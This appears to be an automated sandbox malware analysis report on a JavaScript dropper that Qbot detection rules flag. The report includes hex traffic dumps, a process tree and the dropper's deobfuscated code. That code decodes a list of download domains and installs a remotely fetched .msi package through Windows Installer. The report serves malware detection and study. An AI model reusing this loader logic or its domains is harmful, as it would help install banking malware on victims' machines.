2023-06-01 15:54:27 UTC	192	IN	Data Raw: ee 38 30 c7 fa f2 3c 74 e6 69 a4 d1 7f a5 5c 99 51 26 23 a9 0f 13 53 39 35 50 a4 4b 79 8c 29 05 31 96 76 a6 58 fd f0 b4 e6 12 4b 97 42 c1 da f5 51 c5 0b b4 2e 99 92 17 90 c7 51 32 fc 5f be 2d a2 da ae d4 cf 16 c7 f4 5c 9d 61 ab 1a 2b 31 2c 31 4e 58 9e 61 55 8d 65 80 6d d1 58 34 8d fe 01 f1 53 4c ce 9a 24 b9 04 c3 92 1a 3b c6 b0 b2 c6 8e f0 b4 19 c2 e2 3c ad c6 c4 07 5b bd 7c c5 05 8c 8b 90 b1 58 59 56 7f 40 65 69 e6 e5 83 dc 9a 88 58 ef 21 08 8d d5 2e 52 df b2 2a 58 be 59 ca e3 6d 86 89 1c 61 7f 63 58 42 63 35 86 95 35 f6 17 60 9d ae 7d 5b 73 63 df 00 d6 16 c0 aa c0 da 03 d8 0a b0 c9 00 56 01 d6 15 c0 5e 01 96 0f 60 cb c0 2e 06 b0 17 81 9d 0d 60 b7 d2 05 76 b5 9c 1a fc 7c cf b6 c4 9b 7b 0e 5f 5a f8 fb 96 04 c5 df ef d0 78 55 af 17 1e d7 6c e3 8e 6b 21 ed Data Ascii: 80<ti\Q&#S95PKy)1vXKBQ.Q2_-\a+1,1NXaUemX4SL$;<[\|XYV@eiX!.R*XYmacXBc55`}[scV^`.`v\|{_ZxUlk!
2023-06-01 15:54:27 UTC	208	IN	Data Raw: 89 af b4 40 5c 83 d8 76 e2 18 e2 84 16 b8 0f 9e da c2 ec 21 02 f2 95 b9 c0 18 d6 52 63 1b 71 1f 63 38 cc 76 76 0b 8c a7 b3 6c 5f 6c 81 f1 54 46 5f 8d ac 35 5c f1 15 dc 92 73 a3 25 34 da b3 6d a1 e5 ab 5b 4b d4 fb 31 b6 2d ac fc 9b a3 c4 97 89 03 5b 62 ec fe 83 38 bc 25 de 69 f9 b0 25 de 69 49 20 26 3a d0 da db cd 60 db 89 bf 10 d7 38 b0 8e 35 e7 1c 68 bd 27 b5 97 ed 3f 1c 58 cf 5a ef d8 3e e3 c0 40 07 96 38 30 c8 7a 76 19 0e bc d1 12 b9 5b dc f8 d3 ca f3 a8 70 ae 81 e1 c8 fd 81 70 8c c1 a7 d8 76 e2 df c3 51 e7 b7 d9 76 e2 c4 70 5c cb 93 d8 9e 19 8e be 5e c8 b6 13 37 84 e3 7d 9e 9d 6c 1f 70 a0 75 1e 92 c1 b6 13 af 12 dd 22 80 3e 11 c8 c5 aa 57 cf 33 ca 77 a1 46 f0 7d c8 08 cc 0b 27 be 14 81 7e eb 4f 7c 23 82 b9 44 a0 df 3e 64 db 89 5f 44 a0 ff e6 b0 bd 90 Data Ascii: @\v!Rcqc8vvl_lTF_5\s%4m[K1-[b8%i%iI &:`85h'?XZ>@80zv[ppvQvp\^7}lpu">W3wF}'~O\|#D>d_D
2023-06-01 15:54:27 UTC	224	IN	Data Raw: ed e2 99 c9 8a 66 53 29 13 73 18 80 7f fa f2 f6 f5 87 77 1e 82 15 19 7d b4 32 7b e8 2c a2 2a 70 4c 3f 6c ec b6 9d d3 d8 41 f0 85 0f b9 39 1a da 68 c1 be c4 6d e0 d5 22 6f 13 e1 ce 9c a9 c0 d9 cd 54 00 fc af 47 a3 6a 26 d3 90 3a 2b 92 59 5f b5 12 7b 6b d7 ba 2a 1c 0d 66 b0 5b 04 94 17 12 de cc 21 40 b7 23 ca 5c eb 13 75 71 55 bc 6e 81 d3 87 3a df 53 51 10 12 b1 84 a9 74 cb a5 18 5f ca db d3 1d df f5 e4 73 df 6a f6 f0 9a 3b 54 8f b2 10 a3 a6 0f 3c 6a 67 f6 6d d7 48 ee 59 36 55 bb 3f fd 34 ea e0 54 d6 a0 10 c2 99 93 5d b9 af c6 c9 ec 5c c7 82 64 44 15 33 6e a9 39 73 f9 fe f6 24 9f ab 57 d4 28 75 cc b9 e8 d0 5b 69 73 55 82 89 3c 3b ad 0a db 14 76 0a 40 8a 90 7b 71 6e aa 9c 07 83 82 ed 50 07 c0 27 bf 18 62 03 c3 09 9b 09 91 87 e5 e8 17 0e 15 93 2a c1 24 70 de Data Ascii: fS)sw}2{,pL?lA9hm"oTGj&:+Y_{kf[!@#\uqUn:SQt_sj;T<jgmHY6U?4T]\dD3n9s$W(u[isU<;v@{qnP'b*$p
2023-06-01 15:54:27 UTC	240	IN	Data Raw: 3d fa d0 f2 f2 49 80 3f e0 a1 65 f7 d0 43 cb 1b 95 da 5d a7 96 b7 58 1e 75 10 76 dc 9d 9b b4 0f 3d e1 ba 9f ee aa 92 ee 6e ba 87 1d 57 dd 98 f0 89 f3 aa 9b cc ef aa 52 3c 92 e5 be 83 94 47 f3 30 8f 41 02 fd 9e 7a bc e1 66 88 79 34 f3 fd 29 fe 0d 5f df 3d fe 01 8f 7d fa 84 e7 66 2f 8f 71 84 73 45 f2 d4 3d c6 19 0e f6 10 e6 87 9d ce dc b0 82 07 8f 67 6e b2 5e 71 00 83 5d 99 b0 75 8f 71 5e 72 43 dd ee 39 30 b9 c9 fa c8 43 8a bb 54 e1 d1 c5 ec dd c4 c7 d2 10 af fb be 2e 4f 3f bd 72 17 ed 23 aa ae 1b b3 bf ef e6 d9 fd ac 57 39 85 53 6c bd d7 5e 19 51 4f c5 53 fc 74 11 0b ee bb b9 aa 1b fb 44 3f 97 3c 83 ff a8 87 ac 6e 3f 8c d3 43 80 78 ee 75 d7 af 7e fe f5 b2 b6 b8 a4 7a fd 63 51 7d c2 23 a9 f6 6d 3d 91 73 00 a5 ff b1 c2 7c 78 51 d3 d7 77 dd ad 3c 7d e3 f2 b2 Data Ascii: =I?eC]Xuv=nWR<G0Azfy4)_=}f/qsE=gn^q]uq^rC90CT.O?r#W9Sl^QOStD?<n?Cxu~zcQ}#m=s\|xQw<}
2023-06-01 15:54:27 UTC	256	IN	Data Raw: 49 63 54 7a 53 40 75 5d 7e 5c 92 86 fa 71 4d c0 87 a8 67 cf a2 57 d3 52 0e 1a b4 40 2c 21 97 27 a2 36 b6 8a a2 e5 f9 e8 8b 5f 0f 96 a4 b7 a8 1f 1c f8 b7 35 54 d1 fd c9 7c 55 73 16 33 e7 72 a5 6f fe fe 22 d9 6c e1 6e 79 f7 1d db 9b 76 ab 6f de ec a2 0d d7 f6 d8 3e 88 b3 6e cc df e4 b8 df d6 63 37 84 cb 94 e2 54 ec 39 af 24 ff 3e 03 5f 5e dc 52 88 5d d6 93 27 20 e8 1e 55 fa 49 ef d7 bf e0 36 fe 6e 40 97 10 5e c7 70 4e 29 84 c2 6c 77 67 82 8d 5f e8 47 71 ab d2 60 22 c2 4d 0d ae 8c ed 74 b6 e3 f8 48 46 da 75 5f a5 5d 94 cf c9 dd 42 d7 cb 7f b5 e1 eb 35 17 98 78 5c 19 f3 b5 9c 0c 7e 45 0b 75 f2 c8 a8 a4 ac 0f 59 2c 57 95 a4 4a 54 50 de 6c f3 b6 49 ea 83 59 4f 1e 9f b3 c6 bf c9 08 96 9a fc a5 3f b7 57 c1 47 e5 57 76 22 99 b2 34 da f3 4f 7f ab 0e 61 2c 53 98 bb Data Ascii: IcTzS@u]~\qMgWR@,!'6_5T\|Us3ro"lnyvo>nc7T9$>_^R]' UI6n@^pN)lwg_Gq`"MtHFu_]B5x\~EuY,WJTPlIYO?WGWv"4Oa,S
2023-06-01 15:54:27 UTC	272	IN	Data Raw: 60 9d 7c 08 88 90 5f f0 e1 6c 37 55 56 6a 36 63 5e 6a f5 2f 73 46 62 99 57 44 d9 56 59 52 5a f9 f9 10 59 5c a0 1b b0 74 50 45 54 1d 85 10 54 1a 9a 82 d9 54 8f 82 c6 dc 46 22 f7 fb d9 d5 f2 19 63 90 b2 a8 1a 17 0b 68 7d 7a cb a8 a2 8f dd 7e 07 ba 8c ee 5d 4f f4 f6 a8 9b db 40 4c 64 44 34 d2 3b a3 21 a1 ee a8 e5 e7 8e 2d 53 21 22 98 e5 5d 96 cf 8a 1f 94 b5 a8 e4 e8 39 c4 a4 bc f1 a3 a8 1b 2c f3 73 90 b8 bc f6 30 97 a0 a6 10 19 dd c3 40 5a e5 33 ad 7a 26 28 a8 4b 3a c3 c1 e2 21 2a fe c7 29 f4 29 ae 32 10 9b a7 ee e7 52 7b 01 ea 26 f6 40 a4 69 48 e8 b0 d8 ee 7f 86 cd da 94 f2 f0 fb 4f a4 49 aa 11 1a 0b 61 01 36 0a 93 5a 51 2e 02 70 27 f4 18 d4 ba af b2 af 1b 51 4d ad 5b 43 87 c5 1b ff 44 f8 f0 d5 94 bd 37 92 bd fe 8f 93 34 ee e1 4c d9 2e e9 1b d3 e9 1f 17 6d Data Ascii: `\|_l7UVj6c^j/sFbWDVYRZY\tPETTTF"ch}z~]O@LdD4;!-S!"]9,s0@Z3z&(K:!*))2R{&@iHOIa6ZQ.p'QM[CD74L.m
2023-06-01 15:54:27 UTC	288	IN	Data Raw: d8 45 05 6b a5 6b 30 af 91 21 5d a1 7f 7c 49 5a 17 00 96 d6 cc a3 6e 73 73 52 65 8e 76 eb cd 66 ee 25 fe cf 67 f3 2f 1a fc 3b 04 fb 81 48 f7 61 84 a6 3f a8 ee cf 9d bd 4b 37 1e ee 50 62 f5 5f c1 af e8 99 8d 7e 77 ab 20 13 31 36 66 7e 44 ab 74 89 cc 16 4f 2a 6f 05 d5 a2 bc c6 63 3c 91 3f 2c 99 8e d0 07 02 97 d5 c3 bb 66 12 d9 af 81 bf b3 30 30 36 b4 ac 84 9f aa 25 ff 7f 3e 33 aa c7 95 31 7e f6 f0 2f ca 30 8a 80 19 4b 37 69 42 98 85 79 4a ea c6 bf ca 87 b1 72 5e 2a d0 45 6e 18 f2 d1 15 a9 4b 43 d8 30 1e 89 a8 cd b9 70 1d b9 cd 0c 4a 6a af a8 e1 69 9c b4 8d c5 b5 9a d5 72 0b 00 22 19 05 27 04 a4 5e 53 21 40 e3 c3 e4 51 45 f4 0a 68 c1 b8 09 c7 c7 8c 67 f8 7f 55 ea 16 07 00 d4 75 80 d5 48 30 28 e5 84 ee f5 9f f3 f7 fa ae 86 47 8b 8d 66 f9 ed f6 85 e9 aa 51 2b Data Ascii: Ekk0!]\|IZnssRevf%g/;Ha?K7Pb_~w 16f~DtOoc<?,f006%>31~/0K7iByJr^EnKC0pJjir"'^S!@QEhgUuH0(GfQ+
2023-06-01 15:54:27 UTC	304	IN	Data Raw: 5d e6 50 4d c0 8d fc 9c cc 23 46 c2 67 47 ad 85 4a a3 cb b0 57 0b f3 39 d3 af 2d ab b4 37 38 ee ea 39 44 79 d0 c5 50 4e 49 5a a4 af 88 f7 82 b1 0e 55 21 21 5d 4b b5 b3 ba 19 dd d0 d0 ec fd e6 90 65 d9 0c 97 b6 8c 37 33 ab 95 0d 90 a8 a0 34 24 93 b3 33 ca ca 7a 5f d5 e1 56 3d c8 ca b4 07 d4 e6 e7 31 41 87 6c 09 08 ea 94 48 e1 3e cd b4 ee 37 70 7b 66 e6 ac 9c 0d 9f e2 64 ec be c9 b5 ac f9 fb c5 da 34 ba f6 5f d0 85 ca 4d 5a 63 01 1f b6 e1 a6 6b 9a c2 fd bb 51 a1 47 42 8e 64 86 ff 00 8f 38 15 69 5f 4d 87 7e 08 6d 32 e5 8f a9 62 f0 fc ed 62 f2 75 38 24 f5 05 06 fb f5 80 86 5c 3b 0a 7e 40 eb 1f 71 48 5d cc 9d 1c 0d ef 67 cd 8f c6 3e f8 c0 31 dc 0b 33 b9 74 70 cf 68 59 d0 71 7d 61 d8 a2 cf 39 27 85 dd c5 38 8c e3 a8 35 c5 bc ad e7 ca a7 a3 38 da 4b 06 bf 66 12 Data Ascii: ]PM#FgGJW9-789DyPNIZU!!]Ke734$3z_V=1AlH>7p{fd4_MZckQGBd8i_M~m2bbu8$\;~@qH]g>13tphYq}a9'858Kf
2023-06-01 15:54:27 UTC	320	IN	Data Raw: d3 9e 0e fb f4 ca 22 26 64 36 c7 c3 a7 15 5c 4a 4f f4 7c 98 06 1f 12 1b 13 38 ea ab a3 d2 99 8b a9 73 82 36 26 e1 80 84 f2 cc 3d ca 15 25 6c e8 d8 37 64 60 8e 90 61 e5 a4 51 18 40 7c 47 d5 38 30 16 3b 2f a9 46 2f 1b 39 f5 7b 84 72 de 5a 47 32 1e 5f 4a 48 63 04 89 14 28 52 23 e3 23 7c 0c 73 56 5d 3e be d9 9b 8e 87 fb 5f 49 42 56 c4 c1 bb 4b b3 42 e8 bc 46 df bf 8a f4 bc 63 45 b4 c0 b3 97 dd d7 ce 48 27 aa b1 90 d9 cd 0a e5 8b ac 9a 36 22 22 1a 09 1d 3a c8 3d 0c 74 eb bf c8 b1 bc 58 21 25 52 eb 91 a2 90 3c 47 3d 2a 05 70 ba a8 04 d0 d1 c9 c4 af 99 d3 ed 1c 0b b6 3a 42 c8 0a c5 a9 64 31 7c 09 04 fc 2f 57 51 bb f2 ce f5 0f 11 e0 e4 d4 f0 e0 e8 df 5d 1a 97 8e 92 db b5 b1 94 0f f0 70 f1 70 1c 19 2c c8 79 71 57 12 18 ea 96 df cb 61 c0 a8 b4 c3 e5 14 92 9b 20 49 Data Ascii: "&d6\JO\|8s6&=%l7d`aQ@\|G80;/F/9{rZG2_JHc(R##\|sV]>_IBVKBFcEH'6"":=tX!%R<G=*p:Bd1\|/WQ]pp,yqWa I
2023-06-01 15:54:27 UTC	336	IN	Data Raw: c2 f7 a3 e1 65 9e c3 e4 59 ce e7 17 43 62 78 88 f3 08 02 f3 0f 2a aa 8b 26 dd eb 53 2c 5b 7e da 67 d4 21 c7 8e 3d 1f 58 1d 38 35 cf d7 f3 32 b0 18 35 88 6c d8 0a 6b f3 50 9e cf 5b 15 96 6c ac 25 ff 19 20 fb 8b 0b 9d 50 8c e1 34 21 d9 5c f7 f1 5e 47 d2 b1 b1 db 06 19 09 eb 18 1b af 29 db 6c d2 2b 4e f7 e4 eb 3d a1 17 f1 4f ec 38 bc 20 7a d2 c5 47 ed 42 58 65 f5 ef c4 3b 66 94 e7 62 f4 86 8f df 72 27 59 f2 da b9 4d d8 c4 b7 35 5f 4d 88 d7 3d db 1e 65 cb e9 b3 0a 35 d2 66 a2 bc d3 d8 92 ea 27 93 26 86 f8 5b 35 a4 7b fe af 8c 22 6b ad 35 26 87 bf 63 cb 3d 95 41 cb 92 4c a2 9c 9b 78 f5 b9 d5 f4 d1 ef 4e 17 24 24 ec 31 41 be 6b b5 b9 0a 73 b4 7d 8e 11 1f fb 7c 19 53 2a 30 90 9e 9d 4d ef 1b f2 7b 76 3a f8 0e c7 a3 52 e1 e3 14 a8 4a 4e f1 12 dc 40 62 28 1c b2 74 Data Ascii: eYCbx&S,[~g!=X8525lkP[l% P4!\^G)l+N=O8 zGBXe;fbr'YM5_M=e5f'&[5{"k5&c=ALxN$$1Aks}\|S0M{v:RJN@b(t
2023-06-01 15:54:27 UTC	352	IN	Data Raw: d1 2c e2 76 70 8c 80 92 a5 40 96 d6 a0 cc b3 0f 3e 08 e8 fb 6b fc 3e de 8a 10 09 e6 b8 8d 30 48 d8 02 ce 4c 43 e4 22 8a 00 5a 76 23 06 13 39 80 33 5f 26 dd 27 bd 21 55 91 ea 41 4a fe 41 3a 06 c4 c7 0b 32 db 55 72 2c 39 87 5c 41 9e 21 6f 53 ce 80 a8 a9 96 c1 5f 17 21 58 90 1b dc 40 5e 4e 81 0c 41 b8 81 56 7c 86 ee 41 99 60 12 30 14 ec 1a 50 07 5e b8 14 5c 19 7e 0c f6 1e 83 d0 03 3c e3 84 78 02 32 ef 27 c4 67 44 0d 25 69 09 23 25 90 96 48 57 90 68 eb 28 69 8b 80 32 45 3d 02 1b 9f 8a 9a 40 71 a2 ad d0 05 68 69 0c 0a 93 8f 99 c2 f0 60 f9 b1 d2 c0 bf 88 58 45 ac 03 36 10 f8 d6 2a 50 40 3e 9c 20 4e 18 27 86 93 c2 5d c4 a9 e1 74 41 0d 4e e1 f5 41 26 08 c2 67 e1 1b f0 03 f8 69 fc 2e 48 55 32 80 e3 dc 81 9f a5 10 6a 40 9a fa 0d 12 c2 09 a2 0a 48 06 e1 c4 14 e2 20 Data Ascii: ,vp@>k>0HLC"Zv#93_&'!UAJA:2Ur,9\A!oS_!X@^NAV\|A`0P^\~<x2'gD%i#%HWh(i2E=@qhi`XE6*P@> N']tANA&gi.HU2j@H
2023-06-01 15:54:27 UTC	368	IN	Data Raw: 7d 36 ef fc dd cf 7e 1a 8a f3 2e 5c 75 b5 fd ad 7d c9 be 6a 3f e0 c4 38 86 33 ca 19 07 8d d9 e3 e4 60 7c 6b b8 fc 86 7a 7f 37 11 2b 7b 0d d2 d5 a7 34 b2 55 31 ae 1d 31 b2 0b bc 45 de 87 de 77 de 0f fe b3 a4 b4 f2 74 46 22 0b 7a 60 64 67 63 5c f9 2b d5 70 64 15 15 4c c4 f7 97 57 8a 6b c5 5d e2 af e2 75 b1 bc d4 0a 89 3e 01 a3 ca 57 f2 0e ea 61 57 41 d6 65 47 ee 04 ba 9d 22 a7 cb 87 e4 cf e5 73 72 2d 56 9f be cf 90 04 1e 7c 1d e3 ba 13 6b b8 ac 52 51 a9 87 71 ed 8c ec 39 57 79 47 c9 50 be 45 fe fc 43 e1 6f 89 5b 41 c7 a7 aa b3 d4 c5 ea 17 f0 b8 42 b5 be d6 48 13 b5 81 da 10 6d 9c b6 1a 6e 7c 40 bb 02 5a ba 09 5e 62 7a 6b 30 08 cf 6d 0b f4 0f f5 63 7a 01 48 e4 1f 47 77 bd f1 a3 f1 8b 71 cb e0 3d 0f 3b 98 d3 a8 c3 c7 57 e6 19 f3 bc d9 d4 6a 0b 1d 7f d6 1a 07 Data Ascii: }6~.\u}j?83`\|kz7+{4U11EwtF"z`dgc\+pdLWk]u>WaWAeG"sr-V\|kRQq9WyGPECo[ABHmn\|@Z^bzk0mczHGwq=;Wj
2023-06-01 15:54:27 UTC	384	IN	Data Raw: e9 33 0c b4 36 95 50 86 d2 48 3f 14 45 7a 9d 92 06 fe 91 20 c9 24 e4 cb 70 ca d8 7e 9c 12 a1 4d 51 91 60 80 3d 85 14 22 89 25 a0 04 49 91 95 89 c1 77 cd 4c f9 85 ed c7 02 e3 cb 58 2e 97 08 a5 46 9d aa d5 67 aa 95 92 c7 c8 ac 02 c3 25 9c af cc a4 67 6b 0d 2a 89 17 1a 43 3e be 68 e4 b4 14 6d 12 bc ee 2a 30 68 19 06 f2 3b 60 13 8d 2a 85 3b da 40 91 cb b4 64 bd 36 09 3e 62 c2 2c 49 18 52 30 9f 3f 20 52 9d a6 36 2a 35 f4 ac 48 f3 87 f0 a3 e7 aa e1 47 0d da 54 23 3d 1f fe 5a a9 d4 ab e8 85 f0 56 52 18 6e 5c 21 e5 5e da e1 57 5f fa 37 59 73 fb 96 1f 0e c6 7f f7 7e 75 d7 b5 ec 6f 0b 77 26 a4 2f 18 dd fd da 70 ed a8 f1 23 87 7c 59 fd ca 1b f3 12 14 1b 8e 3f f9 d5 4e f7 97 e2 15 65 79 3f ce 6d 0a dc d4 bc ed de 06 d1 bf d7 b2 eb 21 fb a1 3f 62 91 c1 87 7c 59 2e 78 Data Ascii: 36PH?Ez $p~MQ`="%IwLX.Fg%gkC>hm0h;`;@d6>b,IR0? R65HGT#=ZVRn\!^W_7Ys~uow&/p#\|Y?Ney?m!?b\|Y.x
2023-06-01 15:54:27 UTC	400	IN	Data Raw: 65 20 75 73 65 64 20 66 6f 72 20 69 6e 73 74 61 6c 6c 61 74 69 6f 6e 2c 20 6d 61 79 20 62 65 20 6c 6f 63 61 6c 69 7a 65 64 2e 20 20 54 68 69 73 20 6d 61 79 20 63 6f 6e 74 61 69 6e 20 61 20 22 73 68 6f 72 74 20 6e 61 6d 65 7c 6c 6f 6e 67 20 6e 61 6d 65 22 20 70 61 69 72 2e 46 69 6c 65 53 69 7a 65 53 69 7a 65 20 6f 66 20 66 69 6c 65 20 69 6e 20 62 79 74 65 73 20 28 6c 6f 6e 67 20 69 6e 74 65 67 65 72 29 2e 56 65 72 73 69 6f 6e 56 65 72 73 69 6f 6e 20 73 74 72 69 6e 67 20 66 6f 72 20 76 65 72 73 69 6f 6e 65 64 20 66 69 6c 65 73 3b 20 20 42 6c 61 6e 6b 20 66 6f 72 20 75 6e 76 65 72 73 69 6f 6e 65 64 20 66 69 6c 65 73 2e 4c 61 6e 67 75 61 67 65 4c 69 73 74 20 6f 66 20 64 65 63 69 6d 61 6c 20 6c 61 6e 67 75 61 67 65 20 49 64 73 2c 20 63 6f 6d 6d 61 2d 73 65 70 Data Ascii: e used for installation, may be localized. This may contain a "short name\|long name" pair.FileSizeSize of file in bytes (long integer).VersionVersion string for versioned files; Blank for unversioned files.LanguageList of decimal language Ids, comma-sep

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49703	72.163.4.185	443	C:\Windows\SysWOW64\wermgr.exe

Timestamp	kBytes transferred	Direction	Data
2023-06-01 15:57:30 UTC	404	OUT	GET / HTTP/1.1 Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, / User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: cisco.com Cache-Control: no-cache
2023-06-01 15:57:31 UTC	404	IN	HTTP/1.1 301 Moved permanently Location: https://www.cisco.com/ Connection: close Cache-Control: no-cache Pragma: no-cache

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: wscript.exePID: 3100, Parent PID: 3452

General

Target ID:	0
Start time:	17:54:24
Start date:	01/06/2023
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ProjectFunding_450726_Jun01.js"
Imagebase:	0x7ff605460000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: msiexec.exePID: 5424, Parent PID: 580

General

Target ID:	1
Start time:	17:54:26
Start date:	01/06/2023
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff66f8d0000
File size:	66048 bytes
MD5 hash:	4767B71A318E201188A0D0A420C8B608
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 7228, Parent PID: 5424

General

Target ID:	2
Start time:	17:54:28
Start date:	01/06/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll,next
Imagebase:	0x7ff6d99b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: wscript.exePID: 7236, Parent PID: 5424

General

Target ID:	3
Start time:	17:54:28
Start date:	01/06/2023
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	wscript.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\notify.vbs
Imagebase:	0x7ff605460000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 7252, Parent PID: 7228

General

Target ID:	4
Start time:	17:54:28
Start date:	01/06/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll,next
Imagebase:	0xec0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000004.00000002.385257108.000000000047A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000004.00000002.385365210.0000000000E10000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: wermgr.exePID: 7284, Parent PID: 7252

General

Target ID:	5
Start time:	17:54:32
Start date:	01/06/2023
Path:	C:\Windows\SysWOW64\wermgr.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\wermgr.exe
Imagebase:	0xf0000
File size:	191904 bytes
MD5 hash:	CCF15E662ED5CE77B5FF1A7AAE305233
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Code Analysis

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	var _$_cdc5 = ( function (_0x1CEE1, _0x1CE96) {	(".asowkadeetoi%krtirSlanceo/tntciiaacrnl.l%seds%cocrrgiPk%im.tmnmolaimulmbrfone.aw%%tlnss:sko%sctaagtr%mosol.r%u/asargtgnioatu.ahiorndse%skoplIihr/%.m%t%k.nomlinrgck%t",4527110) ➔ garokelka.com,lakirasa.com,tofinka.com,koriska.com,retrenia.com,gurakis.com,length,windowsinstaller.installer,substring,toString,random,https://,/,.msi,InstallProduct (".asowkadeetoi%krtirSlanceo/tntciiaacrnl.l%seds%cocrrgiPk%im.tmnmolaimulmbrfone.aw%%tlnss:sko%sctaagtr%mosol.r%u/asargtgnioatu.ahiorndse%skoplIihr/%.m%t%k.nomlinrgck%t",4527110) ➔ garokelka.com,lakirasa.com,tofinka.com,koriska.com,retrenia.com,gurakis.com,length,windowsinstaller.installer,substring,toString,random,https://,/,.msi,InstallProduct
1	var _0x1D184 = _0x1CEE1.length;
2	var _0x1D00D = [];
3	for ( var _0x1CE4B = 0 ; _0x1CE4B < _0x1D184 ; _0x1CE4B ++ )
4	{
5	_0x1D00D[_0x1CE4B] = _0x1CEE1.charAt ( _0x1CE4B );
6	}
7	;
8	for ( var _0x1CE4B = 0 ; _0x1CE4B < _0x1D184 ; _0x1CE4B ++ )
9	{
10	var _0x1D265 = _0x1CE96 * ( _0x1CE4B + 173 ) + ( _0x1CE96 % 22546 );
11	var _0x1D2B0 = _0x1CE96 * ( _0x1CE4B + 132 ) + ( _0x1CE96 % 16474 );
12	var _0x1D139 = _0x1D265 % _0x1D184;
13	var _0x1D1CF = _0x1D2B0 % _0x1D184;
14	var _0x1CF77 = _0x1D00D[_0x1D139];
15	_0x1D00D[_0x1D139] = _0x1D00D[_0x1D1CF];
16	_0x1D00D[_0x1D1CF] = _0x1CF77;
17	_0x1CE96 = ( _0x1D265 + _0x1D2B0 ) % 4875549;
18	}
19	;
20	var _0x1D058 = String.fromCharCode ( 127 );
21	var _0x1D21A = '';
22	var _0x1D0EE = '\x25';
23	var _0x1CF2C = '\x23\x31';
24	var _0x1CFC2 = '\x25';
25	var i = '\x23\x30';
26	var _0x1D0A3 = '\x23';
27	return _0x1D00D.join ( _0x1D21A ).split ( _0x1D0EE ).join ( _0x1D058 ).split ( _0x1CF2C ).join ( _0x1CFC2 ).split ( i ).join ( _0x1D0A3 ).split ( _0x1D058 );	g,a,r,o,k,e,l,k,a,.,c,o,m,%,l,a,k,i,r,a,s,a,.,c,o,m,%,t,o,f,i,n,k,a,.,c,o,m,%,k,o,r,i,s,k,a,.,c,o,m,%,r,e,t,r,e,n,i,a,.,c,o,m,%,g,u,r,a,k,i,s,.,c,o,m,%,l,e,n,g,t,h,%,w,i,n,d,o,w,s,i,n,s,t,a,l,l,e,r,.,i,n,s,t,a,l,l,e,r,%,s,u,b,s,t,r,i,n,g,%,t,o,S,t,r,i,n,g,%,r,a,n,d,o,m,%,h,t,t,p,s,:,/,/,%,/,%,.,m,s,i,%,I,n,s,t,a,l,l,P,r,o,d,u,c,t.join("") ➔ "garokelka.com%lakirasa.com%tofinka.com%koriska.com%retrenia.com%gurakis.com%length%windowsinstaller.installer%substring%toString%random%https://%/%.msi%InstallProduct" "garokelka.com%lakirasa.com%tofinka.com%koriska.com%retrenia.com%gurakis.com%length%windowsinstaller.installer%substring%toString%random%https://%/%.msi%InstallProduct".split("%") ➔ garokelka.com,lakirasa.com,tofinka.com,koriska.com,retrenia.com,gurakis.com,length,windowsinstaller.installer,substring,toString,random,https://,/,.msi,InstallProduct garokelka.com,lakirasa.com,tofinka.com,koriska.com,retrenia.com,gurakis.com,length,windowsinstaller.installer,substring,toString,random,https://,/,.msi,InstallProduct.join("\x7f") ➔ "garokelka.com\x7flakirasa.com\x7ftofinka.com\x7fkoriska.com\x7fretrenia.com\x7fgurakis.com\x7flength\x7fwindowsinstaller.installer\x7fsubstring\x7ftoString\x7frandom\x7fhttps://\x7f/\x7f.msi\x7fInstallProduct" "garokelka.com\x7flakirasa.com\x7ftofinka.com\x7fkoriska.com\x7fretrenia.com\x7fgurakis.com\x7flength\x7fwindowsinstaller.installer\x7fsubstring\x7ftoString\x7frandom\x7fhttps://\x7f/\x7f.msi\x7fInstallProduct".split("#1") ➔ garokelka.com\x7flakirasa.com\x7ftofinka.com\x7fkoriska.com\x7fretrenia.com\x7fgurakis.com\x7flength\x7fwindowsinstaller.installer\x7fsubstring\x7ftoString\x7frandom\x7fhttps://\x7f/\x7f.msi\x7fInstallProduct 